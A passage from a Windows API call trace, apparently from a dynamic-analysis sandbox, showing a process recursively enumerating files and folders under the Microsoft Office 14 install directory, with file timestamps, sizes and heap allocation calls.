ftCreationTime.dwLowDateTime=0x8c91e000, ftCreationTime.dwHighDateTime=0x1cacb46, ftLastAccessTime.dwLowDateTime=0x52fce0d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8c91e000, ftLastWriteTime.dwHighDateTime=0x1cacb46, nFileSizeHigh=0x0, nFileSizeLow=0x14ed88, dwReserved0=0x0, dwReserved1=0x0, cFileName="GROOVEMN.EXE", cAlternateFileName="")) returned 1 [0204.451] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x2ceed98 | out: lpFindFileData=0x2ceed98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a22a900, ftCreationTime.dwHighDateTime=0x1cb701e, ftLastAccessTime.dwLowDateTime=0xd0360920, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x1a22a900, ftLastWriteTime.dwHighDateTime=0x1cb701e, nFileSizeHigh=0x0, nFileSizeLow=0x91b68, dwReserved0=0x0, dwReserved1=0x0, cFileName="HVAC.DLL", cAlternateFileName="")) returned 1 [0204.451] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x2ceed98 | out: lpFindFileData=0x2ceed98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x50eeca00, ftCreationTime.dwHighDateTime=0x1cbceff, ftLastAccessTime.dwLowDateTime=0xcf0a1be0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x50eeca00, ftLastWriteTime.dwHighDateTime=0x1cbceff, nFileSizeHigh=0x0, nFileSizeLow=0x3b360, dwReserved0=0x0, dwReserved1=0x0, cFileName="IEAWSDC.DLL", cAlternateFileName="")) returned 1 [0204.451] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x2ceed98 | out: lpFindFileData=0x2ceed98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x82531f00, ftCreationTime.dwHighDateTime=0x1cab7f0, ftLastAccessTime.dwLowDateTime=0x5392d770, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x82531f00, ftLastWriteTime.dwHighDateTime=0x1cab7f0, nFileSizeHigh=0x0, nFileSizeLow=0xb13a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="IEContentService.exe", cAlternateFileName="IECONT~1.EXE")) returned 1 [0204.451] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x2ceed98 | out: lpFindFileData=0x2ceed98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a22a900, ftCreationTime.dwHighDateTime=0x1cb701e, ftLastAccessTime.dwLowDateTime=0xd58c5e60, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x1a22a900, ftLastWriteTime.dwHighDateTime=0x1cb701e, nFileSizeHigh=0x0, nFileSizeLow=0xa6190, dwReserved0=0x0, dwReserved1=0x0, cFileName="IMCOMMON.DLL", cAlternateFileName="")) returned 1 [0204.451] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x2ceed98 | out: lpFindFileData=0x2ceed98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb5dc7c00, ftCreationTime.dwHighDateTime=0x1cab7e5, ftLastAccessTime.dwLowDateTime=0x820ca2e0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xb5dc7c00, ftLastWriteTime.dwHighDateTime=0x1cab7e5, nFileSizeHigh=0x0, nFileSizeLow=0x73c8, dwReserved0=0x0, dwReserved1=0x0, cFileName="IMDIMP.ADD", cAlternateFileName="")) returned 1 [0204.451] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x2ceed98 | out: lpFindFileData=0x2ceed98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe1e9b800, ftCreationTime.dwHighDateTime=0x1cac9b3, ftLastAccessTime.dwLowDateTime=0x5392d770, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe1e9b800, ftLastWriteTime.dwHighDateTime=0x1cac9b3, nFileSizeHigh=0x0, nFileSizeLow=0x2d168, dwReserved0=0x0, dwReserved1=0x0, cFileName="IMPMAIL.DLL", cAlternateFileName="")) returned 1 [0204.451] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x2ceed98 | out: lpFindFileData=0x2ceed98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x11ca6e00, ftCreationTime.dwHighDateTime=0x1cb701e, ftLastAccessTime.dwLowDateTime=0xd58ebfc0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x11ca6e00, ftLastWriteTime.dwHighDateTime=0x1cb701e, nFileSizeHigh=0x0, nFileSizeLow=0x2f180, dwReserved0=0x0, dwReserved1=0x0, cFileName="IMUTIL.DLL", cAlternateFileName="")) returned 1 [0204.452] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x2ceed98 | out: lpFindFileData=0x2ceed98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1db63000, ftCreationTime.dwHighDateTime=0x1cb701e, ftLastAccessTime.dwLowDateTime=0xd58ebfc0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x1db63000, ftLastWriteTime.dwHighDateTime=0x1cb701e, nFileSizeHigh=0x0, nFileSizeLow=0x38388, dwReserved0=0x0, dwReserved1=0x0, cFileName="IMWDD.DLL", cAlternateFileName="")) returned 1 [0204.452] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x2ceed98 | out: lpFindFileData=0x2ceed98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x11ca6e00, ftCreationTime.dwHighDateTime=0x1cb701e, ftLastAccessTime.dwLowDateTime=0xd5912120, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x11ca6e00, ftLastWriteTime.dwHighDateTime=0x1cb701e, nFileSizeHigh=0x0, nFileSizeLow=0x3f90, dwReserved0=0x0, dwReserved1=0x0, cFileName="IMWIZ.DLL", cAlternateFileName="")) returned 1 [0204.452] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x2ceed98 | out: lpFindFileData=0x2ceed98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3501d300, ftCreationTime.dwHighDateTime=0x1cacf91, ftLastAccessTime.dwLowDateTime=0x53979a30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x3501d300, ftLastWriteTime.dwHighDateTime=0x1cacf91, nFileSizeHigh=0x0, nFileSizeLow=0x275770, dwReserved0=0x0, dwReserved1=0x0, cFileName="INFOPATH.EXE", cAlternateFileName="")) returned 1 [0204.452] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x2ceed98 | out: lpFindFileData=0x2ceed98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x544ee410, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x64dbf390, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x64dbf390, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="InfoPathOM", cAlternateFileName="INFOPA~1")) returned 1 [0204.452] GetProcessHeap () returned 0x550000 [0204.452] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x36d0048 [0204.452] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\InfoPathOM\\*", lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x544ee410, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x64dbf390, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x64dbf390, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639848 [0204.745] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x544ee410, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x64dbf390, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x64dbf390, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0204.745] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x545acaf0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x64de54f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x64de54f0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="InfoPathOMFormServices", cAlternateFileName="INFOPA~2")) returned 1 [0204.746] GetProcessHeap () returned 0x550000 [0204.746] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x3700050 [0204.746] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\InfoPathOM\\InfoPathOMFormServices\\*", lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x545acaf0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x64de54f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x64de54f0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639888 [0205.052] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x545acaf0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x64de54f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x64de54f0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0205.052] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x553a8c30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x64de54f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x64de54f0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="InfoPathOMFormServicesV12", cAlternateFileName="INFOPA~1")) returned 1 [0205.052] GetProcessHeap () returned 0x550000 [0205.052] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x26460e8 [0205.052] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\InfoPathOM\\InfoPathOMFormServices\\InfoPathOMFormServicesV12\\*", lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x553a8c30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x64de54f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x64de54f0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6398c8 [0205.176] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x553a8c30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x64de54f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x64de54f0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0205.176] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5ae85c00, ftCreationTime.dwHighDateTime=0x1cab7c8, ftLastAccessTime.dwLowDateTime=0x553a8c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5ae85c00, ftLastWriteTime.dwHighDateTime=0x1cab7c8, nFileSizeHigh=0x0, nFileSizeLow=0xa770, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Office.Infopath.dll", cAlternateFileName="MICROS~1.DLL")) returned 1 [0205.176] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8d265900, ftCreationTime.dwHighDateTime=0x1ca5630, ftLastAccessTime.dwLowDateTime=0x65c9fd10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8d265900, ftLastWriteTime.dwHighDateTime=0x1ca5630, nFileSizeHigh=0x0, nFileSizeLow=0x3dddf, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Office.InfoPath.xml", cAlternateFileName="MICROS~1.XML")) returned 1 [0205.177] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8d265900, ftCreationTime.dwHighDateTime=0x1ca5630, ftLastAccessTime.dwLowDateTime=0x65c9fd10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8d265900, ftLastWriteTime.dwHighDateTime=0x1ca5630, nFileSizeHigh=0x0, nFileSizeLow=0x3dddf, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Office.InfoPath.xml", cAlternateFileName="MICROS~1.XML")) returned 0 [0205.177] FindClose (in: hFindFile=0x6398c8 | out: hFindFile=0x6398c8) returned 1 [0205.177] GetProcessHeap () returned 0x550000 [0205.177] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x26460e8 | out: hHeap=0x550000) returned 1 [0205.177] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5ae85c00, ftCreationTime.dwHighDateTime=0x1cab7c8, ftLastAccessTime.dwLowDateTime=0x64de54f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5ae85c00, ftLastWriteTime.dwHighDateTime=0x1cab7c8, nFileSizeHigh=0x0, nFileSizeLow=0xb770, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Office.Infopath.dll", cAlternateFileName="MICROS~1.DLL")) returned 1 [0205.177] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8d265900, ftCreationTime.dwHighDateTime=0x1ca5630, ftLastAccessTime.dwLowDateTime=0x55382ad0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8d265900, ftLastWriteTime.dwHighDateTime=0x1ca5630, nFileSizeHigh=0x0, nFileSizeLow=0x3dddf, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Office.InfoPath.xml", cAlternateFileName="MICROS~1.XML")) returned 1 [0205.177] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8d265900, ftCreationTime.dwHighDateTime=0x1ca5630, ftLastAccessTime.dwLowDateTime=0x55382ad0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8d265900, ftLastWriteTime.dwHighDateTime=0x1ca5630, nFileSizeHigh=0x0, nFileSizeLow=0x3dddf, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Office.InfoPath.xml", cAlternateFileName="MICROS~1.XML")) returned 0 [0205.178] FindClose (in: hFindFile=0x639888 | out: hFindFile=0x639888) returned 1 [0205.178] GetProcessHeap () returned 0x550000 [0205.178] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x3700050 | out: hHeap=0x550000) returned 1 [0205.178] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x544ee410, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x64dbf390, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x64dbf390, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="InfoPathOMV12", cAlternateFileName="INFOPA~1")) returned 1 [0205.178] GetProcessHeap () returned 0x550000 [0205.178] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x3700050 [0205.178] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\InfoPathOM\\InfoPathOMV12\\*", lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x544ee410, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x64dbf390, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x64dbf390, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639888 [0205.178] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x544ee410, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x64dbf390, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x64dbf390, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0205.178] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5c198900, ftCreationTime.dwHighDateTime=0x1cab7c8, ftLastAccessTime.dwLowDateTime=0x544ee410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5c198900, ftLastWriteTime.dwHighDateTime=0x1cab7c8, nFileSizeHigh=0x0, nFileSizeLow=0xd770, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Office.Infopath.dll", cAlternateFileName="MICROS~1.DLL")) returned 1 [0205.179] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8d265900, ftCreationTime.dwHighDateTime=0x1ca5630, ftLastAccessTime.dwLowDateTime=0x64dbf390, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8d265900, ftLastWriteTime.dwHighDateTime=0x1ca5630, nFileSizeHigh=0x0, nFileSizeLow=0x3dddf, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Office.InfoPath.xml", cAlternateFileName="MICROS~1.XML")) returned 1 [0205.179] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8d265900, ftCreationTime.dwHighDateTime=0x1ca5630, ftLastAccessTime.dwLowDateTime=0x64dbf390, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8d265900, ftLastWriteTime.dwHighDateTime=0x1ca5630, nFileSizeHigh=0x0, nFileSizeLow=0x3dddf, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Office.InfoPath.xml", cAlternateFileName="MICROS~1.XML")) returned 0 [0205.179] FindClose (in: hFindFile=0x639888 | out: hFindFile=0x639888) returned 1 [0205.179] GetProcessHeap () returned 0x550000 [0205.179] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x3700050 | out: hHeap=0x550000) returned 1 [0205.179] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5c198900, ftCreationTime.dwHighDateTime=0x1cab7c8, ftLastAccessTime.dwLowDateTime=0x64dbf390, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5c198900, ftLastWriteTime.dwHighDateTime=0x1cab7c8, nFileSizeHigh=0x0, nFileSizeLow=0xe770, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Office.Infopath.dll", cAlternateFileName="MICROS~1.DLL")) returned 1 [0205.179] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8d265900, ftCreationTime.dwHighDateTime=0x1ca5630, ftLastAccessTime.dwLowDateTime=0x544ee410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8d265900, ftLastWriteTime.dwHighDateTime=0x1ca5630, nFileSizeHigh=0x0, nFileSizeLow=0x3dddf, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Office.InfoPath.xml", cAlternateFileName="MICROS~1.XML")) returned 1 [0205.179] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8d265900, ftCreationTime.dwHighDateTime=0x1ca5630, ftLastAccessTime.dwLowDateTime=0x544ee410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8d265900, ftLastWriteTime.dwHighDateTime=0x1ca5630, nFileSizeHigh=0x0, nFileSizeLow=0x3dddf, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Office.InfoPath.xml", cAlternateFileName="MICROS~1.XML")) returned 0 [0205.179] FindClose (in: hFindFile=0x639848 | out: hFindFile=0x639848) returned 1 [0205.180] GetProcessHeap () returned 0x550000 [0205.180] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x36d0048 | out: hHeap=0x550000) returned 1 [0205.180] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x2ceed98 | out: lpFindFileData=0x2ceed98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x553f4600, ftCreationTime.dwHighDateTime=0x1cab7c9, ftLastAccessTime.dwLowDateTime=0x61d191f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x553f4600, ftLastWriteTime.dwHighDateTime=0x1cab7c9, nFileSizeHigh=0x0, nFileSizeLow=0x7bb78, dwReserved0=0x0, dwReserved1=0x0, cFileName="INLAUNCH.DLL", cAlternateFileName="")) returned 1 [0205.180] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x2ceed98 | out: lpFindFileData=0x2ceed98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb562a700, ftCreationTime.dwHighDateTime=0x1cacb3f, ftLastAccessTime.dwLowDateTime=0x61e23b90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb562a700, ftLastWriteTime.dwHighDateTime=0x1cacb3f, nFileSizeHigh=0x0, nFileSizeLow=0x1bac000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Installed_resources14.xss", cAlternateFileName="INSTAL~1.XSS")) returned 1 [0205.180] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x2ceed98 | out: lpFindFileData=0x2ceed98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb562a700, ftCreationTime.dwHighDateTime=0x1cacb3f, ftLastAccessTime.dwLowDateTime=0x61e23b90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb562a700, ftLastWriteTime.dwHighDateTime=0x1cacb3f, nFileSizeHigh=0x0, nFileSizeLow=0x85000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Installed_schemas14.xss", cAlternateFileName="INSTAL~2.XSS")) returned 1 [0205.180] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x2ceed98 | out: lpFindFileData=0x2ceed98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2bf65300, ftCreationTime.dwHighDateTime=0x1cb7002, ftLastAccessTime.dwLowDateTime=0xd5938280, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x2bf65300, ftLastWriteTime.dwHighDateTime=0x1cb7002, nFileSizeHigh=0x0, nFileSizeLow=0x17380, dwReserved0=0x0, dwReserved1=0x0, cFileName="INTLDATE.DLL", cAlternateFileName="")) returned 1 [0205.181] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x2ceed98 | out: lpFindFileData=0x2ceed98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x36330000, ftCreationTime.dwHighDateTime=0x1cacf91, ftLastAccessTime.dwLowDateTime=0x64a2d290, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x36330000, ftLastWriteTime.dwHighDateTime=0x1cacf91, nFileSizeHigh=0x0, nFileSizeLow=0x98b578, dwReserved0=0x0, dwReserved1=0x0, cFileName="IPDESIGN.DLL", cAlternateFileName="")) returned 1 [0205.181] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x2ceed98 | out: lpFindFileData=0x2ceed98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3501d300, ftCreationTime.dwHighDateTime=0x1cacf91, ftLastAccessTime.dwLowDateTime=0x64cdab50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x3501d300, ftLastWriteTime.dwHighDateTime=0x1cacf91, nFileSizeHigh=0x0, nFileSizeLow=0x8a4d70, dwReserved0=0x0, dwReserved1=0x0, cFileName="IPEDITOR.DLL", cAlternateFileName="")) returned 1 [0205.181] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x2ceed98 | out: lpFindFileData=0x2ceed98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x424a0a00, ftCreationTime.dwHighDateTime=0x1c9244d, ftLastAccessTime.dwLowDateTime=0x543977b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x424a0a00, ftLastWriteTime.dwHighDateTime=0x1c9244d, nFileSizeHigh=0x0, nFileSizeLow=0x1375c, dwReserved0=0x0, dwReserved1=0x0, cFileName="IPIRM.XML", cAlternateFileName="")) returned 1 [0205.181] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x2ceed98 | out: lpFindFileData=0x2ceed98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x424a0a00, ftCreationTime.dwHighDateTime=0x1c9244d, ftLastAccessTime.dwLowDateTime=0x64d730d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x424a0a00, ftLastWriteTime.dwHighDateTime=0x1c9244d, nFileSizeHigh=0x0, nFileSizeLow=0x135a4, dwReserved0=0x0, dwReserved1=0x0, cFileName="IPIRMV.XML", cAlternateFileName="")) returned 1 [0205.181] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x2ceed98 | out: lpFindFileData=0x2ceed98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe1f53500, ftCreationTime.dwHighDateTime=0x1cacf2a, ftLastAccessTime.dwLowDateTime=0x64d730d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe1f53500, ftLastWriteTime.dwHighDateTime=0x1cacf2a, 